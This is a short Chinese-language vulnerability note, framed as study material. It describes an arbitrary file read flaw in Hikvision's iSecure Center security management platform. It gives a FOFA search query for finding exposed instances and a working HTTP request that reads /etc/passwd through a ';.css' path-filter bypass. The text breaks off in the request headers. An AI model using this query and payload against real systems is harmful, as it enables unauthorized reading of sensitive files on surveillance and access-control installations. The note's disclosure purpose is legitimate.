海康威视综合安防管理平台 files 文件读取漏洞

免责声明：

本文内容为学习笔记分享，仅供技术学习参考，请勿用作违法用途，任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责，与作者无关！！！

一、漏洞名称

海康威视综合安防管理平台 files 文件读取漏洞

二、漏洞影响

综合安防管理平台

三、漏洞描述

HIKVISION iSecure Center综合安防管理平台是一套“集成化”、“智能化”的平台，通过接入视频监控、一卡通、停车场、报警检测等系统的设备。在其某接口处存在任意文件读取漏洞，攻击者可以读取系统任意敏感文件。

四、FOFA搜索语句

FOFA语句："综合安防管理平台"

五、漏洞复现

GET /lm/api/files;.css?link=/etc/passwd HTTP/1.1
Host: xxx.xxx.xxxx
Connection: ke